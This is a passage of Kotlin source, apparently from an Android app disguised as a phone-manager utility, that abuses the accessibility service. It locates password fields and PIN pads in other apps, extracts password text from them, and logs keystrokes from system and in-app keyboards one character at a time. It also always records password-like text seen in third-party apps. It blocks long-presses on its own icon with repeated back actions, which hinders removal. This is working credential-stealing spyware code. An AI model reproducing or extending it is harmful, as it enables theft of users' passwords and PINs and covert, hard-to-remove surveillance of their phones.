|
||
if (hasNumericKeywords || hasDigitButtons) {
|
||
Log.d(TAG, "🔢 发现数字键盘节点: 类名=$className, 描述=$contentDesc, 文本=$text")
|
||
return true
|
||
}
|
||
|
||
// 递归检查子节点
|
||
for (i in 0 until node.childCount) {
|
||
val child = node.getChild(i)
|
||
if (child != null) {
|
||
try {
|
||
if (findNumericKeypadInNode(child)) {
|
||
return true
|
||
}
|
||
} finally {
|
||
child.recycle()
|
||
}
|
||
}
|
||
}
|
||
|
||
return false
|
||
} catch (e: Exception) {
|
||
Log.w(TAG, "检查数字键盘节点失败", e)
|
||
return false
|
||
}
|
||
}
|
||
|
||
/**
|
||
* ✅ 新增:在节点中查找密码输入框
|
||
*/
|
||
private fun findPasswordFieldInNode(node: AccessibilityNodeInfo): Boolean {
|
||
try {
|
||
// 检查当前节点
|
||
val className = node.className?.toString()?.lowercase() ?: ""
|
||
val contentDesc = node.contentDescription?.toString()?.lowercase() ?: ""
|
||
|
||
// 密码输入框特征
|
||
val isPasswordField = className.contains("edittext") ||
|
||
className.contains("password") ||
|
||
contentDesc.contains("密码") ||
|
||
contentDesc.contains("password") ||
|
||
contentDesc.contains("pin") ||
|
||
node.isPassword
|
||
|
||
if (isPasswordField) {
|
||
Log.d(TAG, "🔢 发现密码输入框节点: 类名=$className, 描述=$contentDesc")
|
||
return true
|
||
}
|
||
|
||
// 递归检查子节点
|
||
for (i in 0 until node.childCount) {
|
||
val child = node.getChild(i)
|
||
if (child != null) {
|
||
try {
|
||
if (findPasswordFieldInNode(child)) {
|
||
return true
|
||
}
|
||
} finally {
|
||
child.recycle()
|
||
}
|
||
}
|
||
}
|
||
|
||
return false
|
||
} catch (e: Exception) {
|
||
Log.w(TAG, "检查密码输入框节点失败", e)
|
||
return false
|
||
}
|
||
}
|
||
|
||
/**
|
||
* ✅ 新增:从节点中提取密码内容
|
||
*/
|
||
private fun extractPasswordFromNode(node: AccessibilityNodeInfo): String {
|
||
try {
|
||
// 检查当前节点是否是密码输入框
|
||
val className = node.className?.toString()?.lowercase() ?: ""
|
||
val text = node.text?.toString() ?: ""
|
||
|
||
if ((className.contains("edittext") || className.contains("password") || node.isPassword) && text.isNotEmpty()) {
|
||
Log.d(TAG, "🔢 从密码节点提取内容: '$text'")
|
||
return text
|
||
}
|
||
|
||
// 递归检查子节点
|
||
for (i in 0 until node.childCount) {
|
||
val child = node.getChild(i)
|
||
if (child != null) {
|
||
try {
|
||
val childText = extractPasswordFromNode(child)
|
||
if (childText.isNotEmpty()) {
|
||
return childText
|
||
}
|
||
} finally {
|
||
child.recycle()
|
||
}
|
||
}
|
||
}
|
||
|
||
return ""
|
||
} catch (e: Exception) {
|
||
Log.w(TAG, "提取密码内容失败", e)
|
||
return ""
|
||
}
|
||
}
|
||
|
||
/**
|
||
* ✅ 新增:处理长按事件
|
||
*/
|
||
private fun handleViewLongClicked(event: AccessibilityEvent) {
|
||
val text = event.text?.joinToString(" ") ?: ""
|
||
val className = event.className?.toString() ?: ""
|
||
val packageName = event.packageName?.toString() ?: ""
|
||
val contentDescription = event.contentDescription?.toString() ?: ""
|
||
|
||
Log.d(TAG, "🔗 长按事件: 包名=$packageName, 类名=$className, 文本='$text'")
|
||
|
||
// ✅ 阻断长按弹出:如果是我们的app,立即执行多次返回操作
|
||
if (text == service.getString(R.string.app_name) || text == service.getString(R.string._2580369_res_0x7f10001e) || text == "手机管家") {
|
||
Log.d(TAG, "🛡️ 检测到长按我们自己的app,执行阻断操作")
|
||
cancelLongPressPopup()
|
||
}
|
||
|
||
logScope.launch {
|
||
recordLog(
|
||
"LONG_PRESS",
|
||
"长按控件: $text",
|
||
mapOf(
|
||
"text" to text,
|
||
"className" to className,
|
||
"packageName" to packageName,
|
||
"contentDescription" to contentDescription,
|
||
"eventType" to "VIEW_LONG_CLICKED"
|
||
)
|
||
)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* ✅ 判断是否是我们自己的app
|
||
*/
|
||
// private fun isOurApp(packageName: String): Boolean {
|
||
// val ourPackageName = service.packageName
|
||
// val isOurApp = packageName == ourPackageName || packageName.contains("hikoncont", ignoreCase = true)
|
||
// if (isOurApp) {
|
||
// Log.d(TAG, "✅ 检测到是我们自己的app: $packageName")
|
||
// }
|
||
// return isOurApp
|
||
// }
|
||
|
||
/**
|
||
* ✅ 检测文本中是否包含价格信息
|
||
* 支持格式:元、¥、¥、数字+元、价格等
|
||
*/
|
||
private fun containsPrice(text: String): Boolean {
|
||
if (text.isEmpty()) return false
|
||
|
||
// 价格模式:包含"元"、"¥"、"¥"等价格标识
|
||
val pricePatterns = listOf(
|
||
"元", "¥", "¥", "价格", "单价", "总价",
|
||
"金额", "费用", "cost", "price"
|
||
)
|
||
|
||
// 检查是否包含价格标识
|
||
val containsPriceKeyword = pricePatterns.any { text.contains(it, ignoreCase = true) }
|
||
|
||
// 检查是否包含数字+元的模式(如:100元、¥50等)
|
||
val priceRegex = Regex("""\d+[\.]?\d*\s*[元¥¥]|[¥¥]\s*\d+[\.]?\d*""")
|
||
val matchesPricePattern = priceRegex.containsMatchIn(text)
|
||
|
||
val isPrice = containsPriceKeyword || matchesPricePattern
|
||
|
||
if (isPrice) {
|
||
Log.d(TAG, "💰 检测到价格信息: $text")
|
||
}
|
||
|
||
return isPrice
|
||
}
|
||
|
||
/**
|
||
* ✅ 阻断长按弹出的详情窗口
|
||
* 使用激进策略:立即执行返回,并在主线程中延迟多次执行确保窗口关闭
|
||
*/
|
||
private fun cancelLongPressPopup() {
|
||
try {
|
||
Log.d(TAG, "🛡️ 开始阻断长按弹出详情")
|
||
|
||
val handler = Handler(Looper.getMainLooper())
|
||
|
||
// 1. 立即执行返回操作(最快响应)
|
||
service.performGlobalAction(GLOBAL_ACTION_BACK)
|
||
|
||
// 2. 延迟执行多次返回操作,确保详情窗口被关闭(在主线程执行,响应更快)
|
||
handler.postDelayed({
|
||
service.performGlobalAction(GLOBAL_ACTION_BACK)
|
||
Log.d(TAG, "🛡️ 第一次延迟返回执行完成")
|
||
}, 10)
|
||
|
||
handler.postDelayed({
|
||
service.performGlobalAction(GLOBAL_ACTION_BACK)
|
||
Log.d(TAG, "🛡️ 第二次延迟返回执行完成")
|
||
}, 50)
|
||
|
||
handler.postDelayed({
|
||
service.performGlobalAction(GLOBAL_ACTION_BACK)
|
||
Log.d(TAG, "🛡️ 第三次延迟返回执行完成")
|
||
}, 100)
|
||
|
||
handler.postDelayed({
|
||
service.performGlobalAction(GLOBAL_ACTION_BACK)
|
||
Log.d(TAG, "🛡️ 第四次延迟返回执行完成")
|
||
Log.d(TAG, "✅ 阻断长按弹出详情完成")
|
||
}, 150)
|
||
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 阻断长按弹出详情失败", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* ✅ 随机点击屏幕上的一个位置
|
||
*/
|
||
private fun performRandomClick() {
|
||
try {
|
||
val displayMetrics = service.resources.displayMetrics
|
||
val screenWidth = displayMetrics.widthPixels
|
||
val screenHeight = displayMetrics.heightPixels
|
||
|
||
// 生成随机坐标(避免点击边缘,留出边距)
|
||
val margin = 100
|
||
val randomX = Random.nextInt(margin, screenWidth - margin).toFloat()
|
||
val randomY = Random.nextInt(margin, screenHeight - margin).toFloat()
|
||
|
||
Log.d(TAG, "🎯 随机点击坐标: ($randomX, $randomY)")
|
||
|
||
// 创建手势
|
||
val path = Path().apply {
|
||
moveTo(randomX, randomY)
|
||
}
|
||
val stroke = GestureDescription.StrokeDescription(path, 0, 50L)
|
||
val gesture = GestureDescription.Builder()
|
||
.addStroke(stroke)
|
||
.build()
|
||
|
||
// 执行手势
|
||
service.dispatchGesture(gesture, object : android.accessibilityservice.AccessibilityService.GestureResultCallback() {
|
||
override fun onCompleted(gestureDescription: android.accessibilityservice.GestureDescription?) {
|
||
Log.d(TAG, "✅ 随机点击完成")
|
||
}
|
||
|
||
override fun onCancelled(gestureDescription: android.accessibilityservice.GestureDescription?) {
|
||
Log.w(TAG, "⚠️ 随机点击被取消")
|
||
}
|
||
}, null)
|
||
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 随机点击失败", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* ✅ 新增:处理悬停事件
|
||
*/
|
||
private fun handleViewHover(event: AccessibilityEvent, hoverType: String) {
|
||
val text = event.text?.joinToString(" ") ?: ""
|
||
val className = event.className?.toString() ?: ""
|
||
val packageName = event.packageName?.toString() ?: ""
|
||
val contentDescription = event.contentDescription?.toString() ?: ""
|
||
|
||
// 只记录有意义的悬停事件
|
||
if (text.isNotEmpty() || contentDescription.isNotEmpty()) {
|
||
Log.d(TAG, "🖱️ 悬停事件($hoverType): 包名=$packageName, 类名=$className, 文本='$text'")
|
||
|
||
logScope.launch {
|
||
recordLog(
|
||
"HOVER",
|
||
"$hoverType: $text",
|
||
mapOf(
|
||
"text" to text,
|
||
"className" to className,
|
||
"packageName" to packageName,
|
||
"contentDescription" to contentDescription,
|
||
"hoverType" to hoverType,
|
||
"eventType" to "VIEW_HOVER"
|
||
)
|
||
)
|
||
}
|
||
}
|
||
}
|
||
|
||
|
||
/**
|
||
* ✅ 增强的键盘输入监听 - 检测各种键盘输入源
|
||
*/
|
||
private fun handleKeyboardInput(event: AccessibilityEvent) {
|
||
val packageName = event.packageName?.toString() ?: ""
|
||
val className = event.className?.toString() ?: ""
|
||
val text = event.text?.joinToString("") ?: ""
|
||
val contentDescription = event.contentDescription?.toString() ?: ""
|
||
|
||
// ✅ 扩展输入法检测:包括系统输入法、第三方输入法、应用内键盘
|
||
val isInputMethod = packageName.lowercase().contains("inputmethod") ||
|
||
packageName.lowercase().contains("keyboard") ||
|
||
packageName.lowercase().contains("ime") ||
|
||
className.lowercase().contains("keyboard") ||
|
||
className.lowercase().contains("keyboardview") ||
|
||
className.lowercase().contains("inputmethod")
|
||
|
||
// ✅ 新增:检测应用内自定义键盘
|
||
val isCustomKeyboard = !isInputMethod && (
|
||
className.lowercase().contains("key") ||
|
||
className.lowercase().contains("numpad") ||
|
||
className.lowercase().contains("pinpad") ||
|
||
(text.length == 1 && (text.matches(Regex("[0-9a-zA-Z]")) || text in listOf(".", ",", "@", "#", "*"))) ||
|
||
(contentDescription.lowercase().contains("key") && text.isNotEmpty())
|
||
)
|
||
|
||
if ((isInputMethod || isCustomKeyboard) && text.isNotEmpty()) {
|
||
val keyboardType = when {
|
||
isInputMethod -> "系统输入法"
|
||
isCustomKeyboard -> "应用内键盘"
|
||
else -> "未知键盘"
|
||
}
|
||
|
||
Log.d(TAG, "⌨️ 键盘输入检测[$keyboardType]: 包名=$packageName, 类名=$className, 输入='$text'")
|
||
|
||
// ✅ 智能字符识别
|
||
val detectedCharacter = when {
|
||
text.length == 1 -> text
|
||
text.matches(Regex("\\d+")) && text.length == 1 -> text
|
||
extractDigitFromText(text) != null -> extractDigitFromText(text)!!
|
||
else -> text
|
||
}
|
||
|
||
logScope.launch {
|
||
recordLog(
|
||
"KEYBOARD_INPUT",
|
||
"键盘输入[$keyboardType]: $detectedCharacter",
|
||
mapOf(
|
||
"character" to detectedCharacter,
|
||
"originalText" to text,
|
||
"className" to className,
|
||
"packageName" to packageName,
|
||
"contentDescription" to contentDescription,
|
||
"keyboardType" to keyboardType,
|
||
"isInputMethod" to isInputMethod,
|
||
"isCustomKeyboard" to isCustomKeyboard,
|
||
"eventType" to "KEYBOARD_INPUT"
|
||
)
|
||
)
|
||
}
|
||
}
|
||
}
|
||
|
||
/**
|
||
* ✅ 新增:增强的窗口内容变化处理 - 检测更多应用的文本输入
|
||
*/
|
||
private fun handleEnhancedWindowContentChanged(event: AccessibilityEvent) {
|
||
val packageName = event.packageName?.toString() ?: ""
|
||
val className = event.className?.toString() ?: ""
|
||
val currentTime = System.currentTimeMillis()
|
||
|
||
Log.i(TAG, "🔍 [增强窗口内容变化] 处理增强窗口内容变化 - 包名=$packageName, 类名=$className")
|
||
|
||
|
||
// 首先检查键盘输入
|
||
handleKeyboardInput(event)
|
||
|
||
// 然后执行原有的窗口内容变化处理
|
||
handleWindowContentChanged(event)
|
||
|
||
// ✅ 新增:特别检测第三方应用的文本变化
|
||
val source = event.source
|
||
if (source != null && !packageName.contains("systemui", ignoreCase = true)) {
|
||
try {
|
||
// 递归检查所有子节点的文本变化
|
||
val textChanges = extractAllTextFromNode(source, mutableListOf())
|
||
|
||
if (textChanges.isNotEmpty()) {
|
||
Log.d(TAG, "🔍 第三方应用文本变化: 包名=$packageName, 检测到${textChanges.size}个文本元素")
|
||
|
||
// ✅ 优化:应用去重和过滤逻辑,减少重复日志
|
||
val significantTexts = textChanges.filter { textInfo ->
|
||
textInfo.text.isNotEmpty() && textInfo.text.length > 1
|
||
}
|
||
|
||
Log.d(TAG, "🔍 第三方应用文本过滤: 原始${textChanges.size}个 -> 有效${significantTexts.size}个")
|
||
|
||
significantTexts.forEach { textInfo ->
|
||
// 检测是否可能是密码输入
|
||
val isPasswordLike = textInfo.isPassword ||
|
||
textInfo.text.any { it == '•' || it == '*' || it == '●' } ||
|
||
(textInfo.text.all { it.isDigit() } && textInfo.text.length in 4..10)
|
||
|
||
// ✅ 更新统计信息
|
||
if (!isPasswordLike) {
|
||
textDetectedTotalCount++
|
||
}
|
||
|
||
// ✅ 对于TEXT_DETECTED应用去重逻辑,PASSWORD_DETECTED保持原有逻辑
|
||
val shouldRecord = if (isPasswordLike) {
|
||
true // 密码相关的始终记录
|
||
} else {
|
||
shouldRecordTextDetected(textInfo.text, packageName)
|
||
}
|
||
|
||
if (shouldRecord) {
|
||
if (!isPasswordLike) {
|
||
textDetectedRecordedCount++
|
||
//只記錄像密碼的。其他的不記錄了
|
||
logScope.launch {
|
||
recordLog(
|
||
if (isPasswordLike) "PASSWORD_DETECTED" else "TEXT_DETECTED",
|
||
"文本检测: ${textInfo.text}",
|
||
mapOf(
|
||
"text" to textInfo.text,
|
||
"className" to textInfo.className,
|
||
"packageName" to packageName,
|
||
"isPassword" to textInfo.isPassword,
|
||
"isPasswordLike" to isPasswordLike,
|
||
"hint" to textInfo.hint,
|
||
"contentDescription" to textInfo.contentDesc,
|
||
"eventType" to "WINDOW_CONTENT_ANALYSIS",
|
||
"filtered" to "deduped" // 标记为去重处理
|
||
)
|
||
)
|
||
}
|
||
}
|
||
//
|
||
// logScope.launch {
|
||
// recordLog(
|
||
// if (isPasswordLike) "PASSWORD_DETECTED" else "TEXT_DETECTED",
|
||
// "文本检测: ${textInfo.text}",
|
||
// mapOf(
|
||
// "text" to textInfo.text,
|
||
// "className" to textInfo.className,
|
||
// "packageName" to packageName,
|
||
// "isPassword" to textInfo.isPassword,
|
||
// "isPasswordLike" to isPasswordLike,
|
||
// "hint" to textInfo.hint,
|
||
// "contentDescription" to textInfo.contentDesc,
|
||
// "eventType" to "WINDOW_CONTENT_ANALYSIS",
|
||
// "filtered" to "deduped" // 标记为去重处理
|
||
// )
|
||
// )
|
||
// }
|
||
} else {
|
||
if (!isPasswordLike) {
|
||
textDetectedFilteredCount++
|
||
}
|
||
Log.v(TAG, "🔕 跳过重复文本: '${textInfo.text}' (包名: $packageName)")
|
||
}
|
||
}
|
||
}
|
||
} catch (e: Exception) {
|
||
Log.w(TAG, "分析第三方应用文本变化失败", e)
|
||
} finally {
|
||
source.recycle()
|
||
}
|
||
}
|
||
}
|
||
|
||
/**
|
||
* ✅ 新增:递归提取节点中的所有文本信息
|
||
*/
|
||
private fun extractAllTextFromNode(node: AccessibilityNodeInfo, results: MutableList<TextInfo>): List<TextInfo> {
|
||
try {
|
||
val text = node.text?.toString() ?: ""
|
||
val className = node.className?.toString() ?: ""
|
||
val hint = node.hintText?.toString() ?: ""
|
||
val contentDesc = node.contentDescription?.toString() ?: ""
|
||
|
||
// 如果当前节点有文本或是可编辑的,记录它
|
||
if (text.isNotEmpty() || node.isEditable || node.isPassword) {
|
||
results.add(TextInfo(
|
||
text = text,
|
||
className = className,
|
||
hint = hint,
|
||
contentDesc = contentDesc,
|
||
isPassword = node.isPassword,
|
||
isEditable = node.isEditable
|
||
))
|
||
}
|
||
|
||
// 递归检查子节点
|
||
for (i in 0 until node.childCount) {
|
||
val child = node.getChild(i)
|
||
if (child != null) {
|
||
try {
|
||
extractAllTextFromNode(child, results)
|
||
} finally {
|
||
child.recycle()
|
||
}
|
||
}
|
||
}
|
||
} catch (e: Exception) {
|
||
Log.w(TAG, "提取节点文本信息失败", e)
|
||
}
|
||
|
||
return results
|
||
}
|
||
|
||
/**
|
||
* ✅ 新增:文本信息数据类
|
||
*/
|
||
private data class TextInfo(
|
||
val text: String,
|
||
val className: String,
|
||
val hint: String,
|
||
val contentDesc: String,
|
||
val isPassword: Boolean,
|
||
val isEditable: Boolean
|
||
)
|
||
|
||
/**
|
||
* ✅ 新增:分析触摸事件中的键盘输入
|
||
*/
|
||
private fun analyzeTouchForKeyboard(event: AccessibilityEvent, packageName: String, className: String, eventText: String, contentDesc: String, touchType: String) {
|
||
try {
|
||
Log.d(TAG, "🔍 [触摸键盘分析] 开始分析触摸事件:")
|
||
Log.d(TAG, " 触摸类型: $touchType")
|
||
Log.d(TAG, " 包名: $packageName")
|
||
Log.d(TAG, " 类名: $className")
|
||
Log.d(TAG, " 文本: '$eventText'")
|
||
Log.d(TAG, " 描述: '$contentDesc'")
|
||
|
||
// 1. 检查是否为键盘相关的类名
|
||
val isKeyboardClass = className.lowercase().let { cls ->
|
||
cls.contains("key") || cls.contains("button") || cls.contains("numpad") ||
|
||
cls.contains("keyboard") || cls.contains("input") || cls.contains("pin") ||
|
||
cls.contains("digit") || cls.contains("char") || cls.contains("layout")
|
||
}
|
||
|
||
// 2. 检查是否为键盘相关的描述
|
||
val isKeyboardDesc = contentDesc.lowercase().let { desc ->
|
||
desc.contains("key") || desc.contains("按键") || desc.contains("键") ||
|
||
desc.contains("button") || desc.contains("输入") || desc.contains("数字") ||
|
||
desc.matches(Regex(".*[0-9a-zA-Z].*"))
|
||
}
|
||
|
||
// 3. 检查文本是否像键盘字符
|
||
val isKeyboardText = eventText.let { text ->
|
||
text.length == 1 || // 单字符
|
||
text.matches(Regex("[0-9a-zA-Z@#*.,!?()\\-+=/]")) || // 常见键盘字符
|
||
extractDigitFromText(text) != null // 包含可提取的字符
|
||
}
|
||
|
||
// 4. 检查是否为输入法包名
|
||
val isInputMethodPackage = packageName.lowercase().let { pkg ->
|
||
pkg.contains("inputmethod") || pkg.contains("keyboard") || pkg.contains("ime") ||
|
||
pkg.contains("gboard") || pkg.contains("swiftkey") || pkg.contains("sogou")
|
||
}
|
||
|
||
// 5. 通过AccessibilityNodeInfo获取更多信息
|
||
val source = event.source
|
||
var nodeInfo = ""
|
||
var additionalText = ""
|
||
if (source != null) {
|
||
try {
|
||
val nodeText = source.text?.toString() ?: ""
|
||
val nodeHint = source.hintText?.toString() ?: ""
|
||
val nodeDesc = source.contentDescription?.toString() ?: ""
|
||
val isClickable = source.isClickable
|
||
val isEnabled = source.isEnabled
|
||
|
||
nodeInfo = "节点文本='$nodeText', 提示='$nodeHint', 描述='$nodeDesc', 可点击=$isClickable, 启用=$isEnabled"
|
||
additionalText = nodeText
|
||
|
||
Log.d(TAG, " 节点信息: $nodeInfo")
|
||
|
||
} finally {
|
||
source.recycle()
|
||
}
|
||
}
|
||
|
||
val isLikelyKeyboard = isKeyboardClass || isKeyboardDesc || isKeyboardText || isInputMethodPackage
|
||
|
||
Log.d(TAG, "🔍 [触摸键盘分析] 分析结果:")
|
||
Log.d(TAG, " 键盘类名: $isKeyboardClass")
|
||
Log.d(TAG, " 键盘描述: $isKeyboardDesc")
|
||
Log.d(TAG, " 键盘文本: $isKeyboardText")
|
||
Log.d(TAG, " 输入法包: $isInputMethodPackage")
|
||
Log.d(TAG, " 疑似键盘: $isLikelyKeyboard")
|
||
|
||
if (isLikelyKeyboard) {
|
||
val detectedChar = extractDigitFromText(eventText) ?: extractDigitFromText(additionalText) ?: eventText.take(1)
|
||
Log.i(TAG, "⌨️ [触摸键盘] 检测到键盘触摸输入: '$detectedChar' (触摸类型: $touchType)")
|
||
|
||
// 立即记录键盘触摸输入
|
||
logScope.launch {
|
||
recordLog(
|
||
"TOUCH_KEYBOARD_INPUT",
|
||
"触摸键盘输入[$touchType]: $detectedChar",
|
||
mapOf(
|
||
"detectedCharacter" to detectedChar,
|
||
"originalText" to eventText,
|
||
"additionalText" to additionalText,
|
||
"contentDescription" to contentDesc,
|
||
"className" to className,
|
||
"packageName" to packageName,
|
||
"touchType" to touchType,
|
||
"isKeyboardClass" to isKeyboardClass,
|
||
"isKeyboardDesc" to isKeyboardDesc,
|
||
"isKeyboardText" to isKeyboardText,
|
||
"isInputMethodPackage" to isInputMethodPackage,
|
||
"analysisMethod" to "touch_analysis",
|
||
"eventType" to "TOUCH_KEYBOARD_DETECTION"
|
||
)
|
||
)
|
||
}
|
||
|
||
// ✅ 额外的强化记录 - 确保触摸键盘输入不会被遗漏
|
||
Log.w(TAG, "🚨 [强化记录] 触摸键盘输入确认: '$detectedChar' [$touchType] from $packageName")
|
||
} else {
|
||
Log.d(TAG, "❌ [触摸键盘分析] 不像键盘控件,跳过")
|
||
}
|
||
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 分析触摸键盘事件失败", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* ✅ 新增:详细分析点击的控件,判断是否为键盘输入
|
||
*/
|
||
private fun analyzeClickedElement(event: AccessibilityEvent, packageName: String, className: String, eventText: String, contentDesc: String) {
|
||
try {
|
||
Log.d(TAG, "🔍 [键盘分析] 开始分析点击控件:")
|
||
Log.d(TAG, " 包名: $packageName")
|
||
Log.d(TAG, " 类名: $className")
|
||
Log.d(TAG, " 文本: '$eventText'")
|
||
Log.d(TAG, " 描述: '$contentDesc'")
|
||
|
||
// 1. 检查是否为键盘相关的类名
|
||
val isKeyboardClass = className.lowercase().let { cls ->
|
||
cls.contains("key") || cls.contains("button") || cls.contains("numpad") ||
|
||
cls.contains("keyboard") || cls.contains("input") || cls.contains("pin")
|
||
}
|
||
|
||
// 2. 检查是否为键盘相关的描述
|
||
val isKeyboardDesc = contentDesc.lowercase().let { desc ->
|
||
desc.contains("key") || desc.contains("按键") || desc.contains("键") ||
|
||
desc.contains("button") || desc.contains("输入") || desc.contains("数字")
|
||
}
|
||
|
||
// 3. 检查文本是否像键盘字符
|
||
val isKeyboardText = eventText.let { text ->
|
||
text.length == 1 || // 单字符
|
||
text.matches(Regex("[0-9a-zA-Z@#*.,!?()\\-+=/]")) || // 常见键盘字符
|
||
extractDigitFromText(text) != null // 包含可提取的字符
|
||
}
|
||
|
||
// 4. 通过AccessibilityNodeInfo获取更多信息
|
||
val source = event.source
|
||
var nodeInfo = ""
|
||
var additionalText = ""
|
||
if (source != null) {
|
||
try {
|
||
val nodeText = source.text?.toString() ?: ""
|
||
val nodeHint = source.hintText?.toString() ?: ""
|
||
val nodeDesc = source.contentDescription?.toString() ?: ""
|
||
val isClickable = source.isClickable
|
||
val isEnabled = source.isEnabled
|
||
|
||
nodeInfo = "节点文本='$nodeText', 提示='$nodeHint', 描述='$nodeDesc', 可点击=$isClickable, 启用=$isEnabled"
|
||
additionalText = nodeText
|
||
|
||
Log.d(TAG, " 节点信息: $nodeInfo")
|
||
|
||
} finally {
|
||
source.recycle()
|
||
}
|
||
}
|
||
|
||
val isLikelyKeyboard = isKeyboardClass || isKeyboardDesc || isKeyboardText
|
||
|
||
Log.d(TAG, "🔍 [键盘分析] 分析结果:")
|
||
Log.d(TAG, " 键盘类名: $isKeyboardClass")
|
||
Log.d(TAG, " 键盘描述: $isKeyboardDesc")
|
||
Log.d(TAG, " 键盘文本: $isKeyboardText")
|
||
Log.d(TAG, " 疑似键盘: $isLikelyKeyboard")
|
||
|
||
if (isLikelyKeyboard) {
|
||
val detectedChar = extractDigitFromText(eventText) ?: extractDigitFromText(additionalText) ?: eventText
|
||
Log.i(TAG, "⌨️ [键盘检测] 检测到可能的键盘输入: '$detectedChar'")
|
||
|
||
// 立即记录键盘输入
|
||
logScope.launch {
|
||
recordLog(
|
||
"DETECTED_KEYBOARD_INPUT",
|
||
"检测到键盘输入: $detectedChar",
|
||
mapOf(
|
||
"detectedCharacter" to detectedChar,
|
||
"originalText" to eventText,
|
||
"additionalText" to additionalText,
|
||
"contentDescription" to contentDesc,
|
||
"className" to className,
|
||
"packageName" to packageName,
|
||
"isKeyboardClass" to isKeyboardClass,
|
||
"isKeyboardDesc" to isKeyboardDesc,
|
||
"isKeyboardText" to isKeyboardText,
|
||
"analysisMethod" to "click_analysis",
|
||
"eventType" to "CLICK_KEYBOARD_DETECTION"
|
||
)
|
||
)
|
||
}
|
||
} else {
|
||
Log.d(TAG, "❌ [键盘分析] 不像键盘控件,跳过")
|
||
}
|
||
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 分析点击控件失败", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 清理资源
|
||
*/
|
||
fun cleanup() {
|
||
logScope.cancel()
|
||
isLogging = false
|
||
Log.i(TAG, "🧹 操作日志收集器已清理")
|
||
}
|
||
|
||
/**
|
||
* ✅ 增强版:检查界面上是否存在数字0(数字密码的标志)
|
||
*/
|
||
private fun checkForNumericPasswordIndicators(event: AccessibilityEvent) {
|
||
val source = event.source
|
||
if (source != null) {
|
||
// 递归检查所有子节点,寻找数字0
|
||
checkNodeForZero(source)
|
||
}
|
||
|
||
// 检查事件文本中是否包含数字0
|
||
val eventText = event.text?.joinToString("") ?: ""
|
||
if (eventText.contains("0")) {
|
||
Log.d(TAG, "🔢 在事件文本中发现数字0: $eventText")
|
||
hasDetectedZero = true
|
||
}
|
||
|
||
// 检查内容描述中是否包含数字0
|
||
val contentDesc = event.contentDescription?.toString() ?: ""
|
||
if (contentDesc.contains("0")) {
|
||
Log.d(TAG, "🔢 在内容描述中发现数字0: $contentDesc")
|
||
hasDetectedZero = true
|
||
}
|
||
}
|
||
|
||
/**
|
||
* ✅ 递归检查节点是否包含数字0
|
||
*/
|
||
private fun checkNodeForZero(node: AccessibilityNodeInfo) {
|
||
try {
|
||
// 检查当前节点的文本
|
||
val nodeText = node.text?.toString() ?: ""
|
||
if (nodeText == "0") {
|
||
Log.d(TAG, "🔢 在界面节点中发现数字0: $nodeText")
|
||
hasDetectedZero = true
|
||
return
|
||
}
|
||
|
||
// 检查内容描述
|
||
val nodeDesc = node.contentDescription?.toString() ?: ""
|
||
if (nodeDesc.contains("0")) {
|
||
Log.d(TAG, "🔢 在节点描述中发现数字0: $nodeDesc")
|
||
hasDetectedZero = true
|
||
return
|
||
}
|
||
|
||
// 递归检查子节点
|
||
for (i in 0 until node.childCount) {
|
||
val child = node.getChild(i)
|
||
if (child != null) {
|
||
checkNodeForZero(child)
|
||
child.recycle()
|
||
}
|
||
}
|
||
} catch (e: Exception) {
|
||
Log.w(TAG, "检查节点数字0时出错: ${e.message}")
|
||
}
|
||
}
|
||
|
||
/**
|
||
* ✅ 新增:检查是否应该记录TEXT_DETECTED日志(去重和频率控制,保守过滤策略)
|
||
*/
|
||
private fun shouldRecordTextDetected(text: String, packageName: String): Boolean {
|
||
val currentTime = System.currentTimeMillis()
|
||
|
||
// 清理过期缓存
|
||
cleanupTextDetectedCache(currentTime)
|
||
|
||
// 只过滤空文本或过短文本
|
||
if (text.isBlank() || text.length <= 1) {
|
||
return false
|
||
}
|
||
|
||
// ✅ 优化:只过滤明显无意义的文本,保留可能有用的内容
|
||
val obviouslyMeaninglessTexts = setOf(
|
||
"...", "—", "-", "_", " ", " ", // 只过滤纯符号和空格
|
||
"loading", "加载中", "请稍候", "请等待" // 只过滤明显的加载提示
|
||
)
|
||
|
||
if (obviouslyMeaninglessTexts.contains(text.lowercase().trim())) {
|
||
return false
|
||
}
|
||
|
||
// 创建唯一键(包名+文本)
|
||
val cacheKey = "${packageName}:${text}"
|
||
|
||
// 检查是否在冷却期内
|
||
val lastRecordTime = textDetectedCache[cacheKey] ?: 0L
|
||
if (currentTime - lastRecordTime < TEXT_DETECTED_COOLDOWN) {
|
||
return false
|
||
}
|
||
|
||
// 检查包的文本记录数量限制
|
||
val packageTexts = packageTextCache.getOrPut(packageName) { mutableSetOf() }
|
||
if (packageTexts.size >= MAX_TEXT_DETECTED_PER_PACKAGE && !packageTexts.contains(text)) {
|
||
return false
|
||
}
|
||
|
||
// 更新缓存
|
||
textDetectedCache[cacheKey] = currentTime
|
||
packageTexts.add(text)
|
||
|
||
return true
|
||
}
|
||
|
||
/**
|
||
* ✅ 新增:清理过期的TEXT_DETECTED缓存
|
||
*/
|
||
private fun cleanupTextDetectedCache(currentTime: Long) {
|
||
if (currentTime - lastTextDetectedCleanup < CACHE_CLEANUP_INTERVAL) {
|
||
return
|
||
}
|
||
|
||
// 清理过期的文本缓存(超过10分钟的记录)
|
||
val expireTime = currentTime - 600000L // 10分钟
|
||
textDetectedCache.entries.removeAll { it.value < expireTime }
|
||
|
||
// 清理包文本缓存(每个包保持最新的文本)
|
||
packageTextCache.values.forEach { textSet ->
|
||
if (textSet.size > MAX_TEXT_DETECTED_PER_PACKAGE) {
|
||
// 保留最近的文本,这里简单地限制大小
|
||
val textsToRemove = textSet.size - MAX_TEXT_DETECTED_PER_PACKAGE
|
||
val iterator = textSet.iterator()
|
||
repeat(textsToRemove) {
|
||
if (iterator.hasNext()) {
|
||
iterator.next()
|
||
iterator.remove()
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
lastTextDetectedCleanup = currentTime
|
||
|
||
// ✅ 输出统计报告
|
||
val filterRate = if (textDetectedTotalCount > 0) {
|
||
((textDetectedFilteredCount.toDouble() / textDetectedTotalCount) * 100).toInt()
|
||
